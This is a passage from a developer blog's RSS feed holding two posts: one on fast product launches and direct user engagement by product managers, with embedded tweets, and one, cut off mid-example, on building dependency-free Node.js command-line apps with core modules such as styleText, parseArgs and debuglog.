&lt;li&gt;Scheduled launch events for product announcements&lt;/li&gt;
&lt;li&gt;The product team filters and caters through a customer-base to hunt for leads for user interviews&lt;/li&gt;
&lt;li&gt;Throwing marketing money at a non-viable product doesn’t work and doesn’t scale&lt;/li&gt;
&lt;li&gt;Product managers are stuck in slides, planning and roadmaps instead of direct user engagement and showcasing&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;1-product-launch-event-sigh-youre-already-too-late&quot;&gt;1. Product launch event? &lt;em&gt;sigh&lt;/em&gt; you’re already too late&lt;/h2&gt;
&lt;p&gt;If you’re scheduling launch events for 2 months from now or longer, I’m sorry to tell you but that boat has sailed.&lt;/p&gt;
&lt;p&gt;Why are you holding back on your ability to innovate and execute at a fast pace?&lt;/p&gt;
&lt;p&gt;You’ve built something out? a prototype, an early access version, a closed beta? It’s ready to launch. Spread the news. Put it on social, get an announcement article published on the blog. Don’t keep this waiting on the launch pad for 2 months.&lt;/p&gt;
&lt;p&gt;This is especially true in a fast-paced environment like AI and a good example of this is MCP. It’s beyond any doubt that MCP today is a huge trend. If there’s business value for you there then embrace the trend, build the MCP server and launch it now. And when I say “launch” I mean post it now on social. Post the announcement blog. Post it wherever your GTM and customer profile is getting their news and updates. 2 months from now is too late. Too late to the point where MCP isn’t news anymore. In fact, even now MCP isn’t the latest because Google announced their A2A - Agent to Agent framework. Entirely agnostic to MCP but now it’s the new kid on the block and you’ll be announcing your “new” MCP server when everyone else will be chatting about A2A implementations.&lt;/p&gt;
&lt;p&gt;Launch events are going to have you chasing the trend. Stop that and ride the trend train.&lt;/p&gt;
&lt;h3 id=&quot;how-to-launch&quot;&gt;How to Launch?&lt;/h3&gt;
&lt;p&gt;Focused, frequent, and fast-paced launches (FFF).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Focused: your launch should be focused on a single feature or storyline. Don’t try cramming a whole backlog pile of epics or cross-platform story. Leave those for bigger events and announcements. That feature is experimental? under a feature flag? that’s fine, launch it, grab feedback, iterate on it.&lt;/li&gt;
&lt;li&gt;Frequent: don’t think of launches as a bi-annual event or something that needs the stars aligned to happen. You’ll miss opportunities and you’ll miss the momentum. Launches should be happening as-fast as you are providing values to your users. If you don’t feel you have enough value to launch, it should be a signal of whether you are actually providing value to your users.&lt;/li&gt;
&lt;li&gt;Fast-paced: don’t hold off, don’t wait for some adjacent event to happen. You have something you can demo? Launch it now. Grab attention over mindshare and marketshare (thank you Manoj for coining those!). Being quick at it also narrows the window of opportunity for competitors to catch up with you, but more so, forces you to avoid an over-engineered launch theater and instead focus on actual GTM launch tactics that provide the highest ROI.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Examples of this are deep AI companies who continuously launch and innovate:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Anthropic’s X account is enough to follow to see all the innovation they are pushing: &lt;a href=&quot;https://x.com/AnthropicAI/status/1925633118104416587&quot;&gt;https://x.com/AnthropicAI/status/1925633118104416587&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Eleven Labs is another great example: &lt;a href=&quot;https://x.com/elevenlabsio/status/1934624075067928578&quot;&gt;https://x.com/elevenlabsio/status/1934624075067928578&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Another example reference to call out is product managers evangelizing the product as part of the launch (and I expand more on this later). Following is Cat from Anthropic AI working on Claude Code:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;You can now connect to remote MCP servers from Claude Code, letting you customize Claude Code to use your favorite tools.&lt;br&gt;&lt;br&gt;Pull context from your tools directly into Claude Code without context switching. &lt;a href=&quot;https://t.co/Xzq9hWwGhW&quot;&gt;pic.twitter.com/Xzq9hWwGhW&lt;/a&gt;&lt;/p&gt;— cat (@_catwu) &lt;a href=&quot;https://twitter.com/_catwu/status/1935368562459439531?ref_src=twsrc%5Etfw&quot;&gt;June 18, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;2-user-interviews&quot;&gt;2. User interviews&lt;/h2&gt;
&lt;p&gt;I’m a big fan of talking to users. How else are you going to get product feedback? Sure, product metrics and analytics help but they tell you “what is happening”, not “why is it happening”.&lt;/p&gt;
&lt;p&gt;A product metric might show you a trending down number of users for the “Implement with AI” button but it doesn’t tell you why and you can end-up drawing wrong conclusions based on that data point alone. For example, which of the following is the cause for the down trend in users:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A. It takes too long for implementation code to be presented&lt;/li&gt;
&lt;li&gt;B. Implemented code is not working as expected&lt;/li&gt;
&lt;li&gt;C. Implemented code doesn’t fit the right context&lt;/li&gt;
&lt;li&gt;D. Half of the time nothing happens and get an error message&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any of these is a valid concern for the down trend but which exactly is the root cause? You need to dig deeper and ask the user.&lt;/p&gt;
&lt;p&gt;In the old days, you’d schedule user interviews with developers in your customer-base. Good luck waiting for that to happen until your product champion is available for a chat, until they find someone on a dev team willing to talk to you, etc, etc and you just waited like 6 weeks until your first call. Cold outreach via email to invite users is also a common practice but often takes time until you get a response. Why? because the company newsletter goes out monthly, so you’re already waiting 4 weeks until your ask is out, then wait some more until someone actually follows through on it, and then even more wait time until a call is scheduled, and so on. Like I said, this doesn’t work. This is web 2.0 thinking.&lt;/p&gt;
&lt;h3 id=&quot;how-to-do-user-interviews&quot;&gt;How to do user interviews?&lt;/h3&gt;
&lt;p&gt;What’s a better way to approach user interviews? All your old ways of product interview calls are in a “pull” mode. Flip the script. Go “push” mode and actively engage.&lt;/p&gt;
&lt;p&gt;An incredibly good example of that are product managers from Vercel who actively post on X / Twitter and poll and ask the community to share their thoughts and ideas. They’re not waiting for you to call them. They’re actively engaging with the community and getting their feedback. This is a great way to get product feedback and it’s also a great way to build a community around your product.&lt;/p&gt;
&lt;p&gt;Example reference 1:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Ask me anything about &lt;a href=&quot;https://twitter.com/nextjs?ref_src=twsrc%5Etfw&quot;&gt;@nextjs&lt;/a&gt; or &lt;a href=&quot;https://twitter.com/vercel?ref_src=twsrc%5Etfw&quot;&gt;@vercel&lt;/a&gt;&lt;/p&gt;— Lee Robinson (@leerob) &lt;a href=&quot;https://twitter.com/leerob/status/1890405718227837261?ref_src=twsrc%5Etfw&quot;&gt;February 14, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;p&gt;Example reference 2:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;What&apos;s missing? (Serious, soliciting feedback). Even if you don&apos;t use Shortcuts, what do you wish you could automate with a terminal that isn&apos;t present here? &lt;a href=&quot;https://t.co/Qkzk0k35PH&quot;&gt;pic.twitter.com/Qkzk0k35PH&lt;/a&gt;&lt;/p&gt;— Mitchell Hashimoto (@mitchellh) &lt;a href=&quot;https://twitter.com/mitchellh/status/1935811970860765341?ref_src=twsrc%5Etfw&quot;&gt;June 19, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;3-marketing-cant-fix-product&quot;&gt;3. Marketing can’t fix product&lt;/h2&gt;
&lt;p&gt;No amount of DevRel (or &lt;em&gt;developer marketing&lt;/em&gt;, if you will) will solve a broken product or one that isn’t providing value to your users.&lt;/p&gt;
&lt;p&gt;Lee Rob from Vercel said &lt;em&gt;“Marketing can’t fix a broken product”&lt;/em&gt; and he’s absolutely right. Specifically for developer relations activities, a genuine and authentic relationship with the developer community is grounded in providing a product value. Broken product in any shape or form, such as poor user experience, poor developer experience, or just a total lack of value that developers can extract from using the product, will simply create frustration and a disconnect between the product and the developer community (or the developer relations team).&lt;/p&gt;
&lt;h3 id=&quot;how-to-fix-product-marketing&quot;&gt;How to fix product marketing?&lt;/h3&gt;
&lt;p&gt;Listen to your users. Ask them. What are they trying to solve? what is the primary pain point and how is the product solving that?&lt;/p&gt;
&lt;p&gt;Don’t gaslite developers. Assume critical thinking and don’t just dismiss user frustration with &lt;em&gt;“it’s in our backlog”&lt;/em&gt; or &lt;em&gt;“we are zoned in on enterprise users and this isn’t a problem for them”&lt;/em&gt;, otherwise don’t be surprised that you’ve lost the trust and brand loyalty of your developer community.&lt;/p&gt;
&lt;p&gt;Example reference 1, Isidor Nikolic from Microsoft’s VS Code team, replying to users:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Hi - vscode pm here. This blog should help &lt;a href=&quot;https://t.co/hhQoPAiwsx&quot;&gt;https://t.co/hhQoPAiwsx&lt;/a&gt;&lt;br&gt;If you have any questions do let me know.&lt;/p&gt;— Isidor Nikolic (@IsidorN) &lt;a href=&quot;https://twitter.com/IsidorN/status/1924804722860462389?ref_src=twsrc%5Etfw&quot;&gt;May 20, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;4-product-managers-fail-to-engage-with-users&quot;&gt;4. Product managers fail to engage with users&lt;/h2&gt;
&lt;p&gt;Product work is a lot, often surrounded by meetings, planning, slides, cross-functional team roadmap and data analysis. None of that is inherently bad or wrong but if product managers does not actively, frequently and consistently engage with users, they will lose touch with reality of which your users are facing.&lt;/p&gt;
&lt;p&gt;Are your product managers stuck in a bubble? the worst is a product manager building into an echo chamber of their own ideas and assumptions, late to the game to realize the product is already a year too late into the market and current workflows.&lt;/p&gt;
&lt;h3 id=&quot;how-to-fix-product-engagement&quot;&gt;How to fix product engagement?&lt;/h3&gt;
&lt;p&gt;Forget scheduled meeting with customers. Forget the design team doing user interviews. Forget watching website recorded visual interactions. All of them are valid but not as impactful as direct engagement with users.&lt;/p&gt;
&lt;p&gt;Go to where your users are. Ready to take it up a notch? become the product ambassador and influencer.&lt;/p&gt;
&lt;p&gt;In the case of developers, this is mostly X (Twitter), relevant Reddit subs, Discord and slack spaces. Better yet if you can also show up in person at meetups, user groups and conferences to an extent.&lt;/p&gt;
&lt;p&gt;Example reference 1, Dina Kozlov from Cloudflare’s developer platform team:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Two new gifts from &lt;a href=&quot;https://twitter.com/Cloudflare?ref_src=twsrc%5Etfw&quot;&gt;@Cloudflare&lt;/a&gt; for the MCP community:&lt;br&gt;&lt;br&gt;🎁 use-mcp: a React hook that makes it easy to connect any web app to remote MCP servers in just 3 lines of code&lt;br&gt;&lt;br&gt;🛝 AI Playground, open-sourced: a chat interface with built-in LLMs + MCP support that you can deploy yourself! &lt;a href=&quot;https://t.co/hAh2ft52LP&quot;&gt;pic.twitter.com/hAh2ft52LP&lt;/a&gt;&lt;/p&gt;— dina kozlov 🐀 (@dinasaur_404) &lt;a href=&quot;https://twitter.com/dinasaur_404/status/1935322850723832183?ref_src=twsrc%5Etfw&quot;&gt;June 18, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;p&gt;Example reference 2, Lee Rob from Vercel:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Want to build a SaaS app where users can have custom domains?&lt;br&gt;&lt;br&gt;Learn how you can use Next.js to handle subdomains (leerob.acme​.com) with our updated starter template and guide. &lt;a href=&quot;https://t.co/VhQfuvcOT0&quot;&gt;pic.twitter.com/VhQfuvcOT0&lt;/a&gt;&lt;/p&gt;— Lee Robinson (@leerob) &lt;a href=&quot;https://twitter.com/leerob/status/1922398671884190181?ref_src=twsrc%5Etfw&quot;&gt;May 13, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;p&gt;Example reference 3, Pierce Boggan from Microsoft’s VS Code team:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Now in &lt;a href=&quot;https://twitter.com/code?ref_src=twsrc%5Etfw&quot;&gt;@code&lt;/a&gt; Insiders: Define custom modes with their own prompts and tools. Create your own with `Chat: New Mode File` command. &lt;a href=&quot;https://t.co/fYwA6hpP8t&quot;&gt;pic.twitter.com/fYwA6hpP8t&lt;/a&gt;&lt;/p&gt;— Pierce Boggan (@pierceboggan) &lt;a href=&quot;https://twitter.com/pierceboggan/status/1930421155120460113?ref_src=twsrc%5Etfw&quot;&gt;June 5, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;</content:encoded></item><item><title>Dependency-free Command-Line Apps powered by Node.js core modules</title><link>https://lirantal.com/blog/dependency-free-command-line-apps-powered-by-node-js-core-modules/</link><guid>https://lirantal.com/blog/dependency-free-command-line-apps-powered-by-node-js-core-modules/</guid><description>Learn how to build powerful command-line apps without a single third-party dependency using Node.js core modules.</description><pubDate>Thu, 17 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As a Node.js developer, I’ve often grappled with the notorious “node_modules black hole” that seems to swallow up gigabytes of disk space. But what if I told you that we could build powerful command-line apps without a single third-party dependency? Let’s dive into the world of &lt;strong&gt;dependency-free Node.js applications&lt;/strong&gt; using only core modules.&lt;/p&gt;
&lt;h2 id=&quot;the-dependency-dilemma&quot;&gt;The Dependency Dilemma&lt;/h2&gt;
&lt;p&gt;Ever found yourself wondering why your simple Node.js project suddenly weighs more than your operating system? You’re not alone. The JavaScript ecosystem’s love affair with npm packages has led to some pretty hefty &lt;code&gt;node_modules&lt;/code&gt; directories. But here’s the kicker: Node.js has been quietly beefing up its core modules, giving us the tools to break free from this dependency cycle.&lt;/p&gt;
&lt;h2 id=&quot;colorful-console-output-no-extra-packages-required&quot;&gt;Colorful Console Output: No Extra Packages Required&lt;/h2&gt;
&lt;p&gt;Remember the days when we’d reach for &lt;code&gt;chalk&lt;/code&gt; or &lt;code&gt;colors&lt;/code&gt; to add a splash of color to our console output? Well, those days are behind us now. Node.js core has got our back with some nifty built-in features.&lt;/p&gt;
&lt;h3 id=&quot;red-alerts-and-yellow-warnings&quot;&gt;Red Alerts and Yellow Warnings&lt;/h3&gt;
&lt;p&gt;Did you stumble on to one of the Node.js releases where it automatically colored the output of &lt;code&gt;console.error()&lt;/code&gt; in red and &lt;code&gt;console.warn()&lt;/code&gt; in yellow? It’s like having a traffic light system for your console!&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Oops! Something went wrong!&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;warn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Heads up! This might cause issues later.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you ran this code, you’d see the error message in bold red and the warning in yellow. No extra imports, no additional dependencies. It’s just Node.js doing its thing.&lt;/p&gt;
&lt;p&gt;However, not everyone are happy with this change:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;i missed that node now makes console.error() text red and console.warn() text yellow by default&lt;br&gt;&lt;br&gt;kind of shocked that such a bad change landed at all, let alone as a non-breaking change&lt;/p&gt;— ًColin Ihrig (@cjihrig) &lt;a href=&quot;https://twitter.com/cjihrig/status/1807776066896838843?ref_src=twsrc%5Etfw&quot;&gt;July 1, 2024&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;So indeed that change was reverted in a later Node.js release.&lt;/p&gt;
&lt;p&gt;Still, what if you want more control over your colors?&lt;/p&gt;
&lt;h3 id=&quot;custom-colors-with-styletext&quot;&gt;Custom Colors with &lt;code&gt;styleText()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Say hello to the &lt;code&gt;styleText()&lt;/code&gt; API. Here’s how you can use it to add some purple prose to your console:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;styleText&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:util&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;styleText&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;purple&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Learn Node.js Security!&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will output the text “Learn Node.js Security!” in a lovely shade of purple. It’s like having a mini design studio right in your terminal!&lt;/p&gt;
&lt;h2 id=&quot;parsing-command-line-arguments-goodbye-commanderjs&quot;&gt;Parsing Command-Line Arguments: Goodbye, Commander.js?&lt;/h2&gt;
&lt;p&gt;Now, let’s talk about parsing command-line arguments. In the past, we might have reached for packages like Commander.js (which, by the way, is downloaded a staggering 135 million times a week). But guess what? Node.js now has a built-in solution: &lt;code&gt;util.parseArgs()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here’s a quick example of how you might use it:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;parseArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:util&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  name: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, short: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;n&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  verbose: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;boolean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, short: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;v&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;values&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;positionals&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ options });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Hello, ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;values&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Anonymous&apos;}!`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (values.verbose) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Verbose mode activated!&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you can run your script with arguments like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;node script.js -n Alice -v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it’ll parse those arguments without breaking a sweat. No extra dependencies required!&lt;/p&gt;
&lt;h2 id=&quot;debugging-made-easy-utildebuglog&quot;&gt;Debugging Made Easy: &lt;code&gt;util.debuglog()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Last but not least, let’s talk about debugging. The &lt;code&gt;debug&lt;/code&gt; npm package is insanely popular, with over 240 million weekly downloads. But did you know that Node.js has a built-in alternative? Meet &lt;code&gt;util.debuglog()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here’s how you can use it to add conditional debug output to your app:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;util&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:util&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;debugLog&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; util.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;debuglog&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;myapp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;doSomethingComplex&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
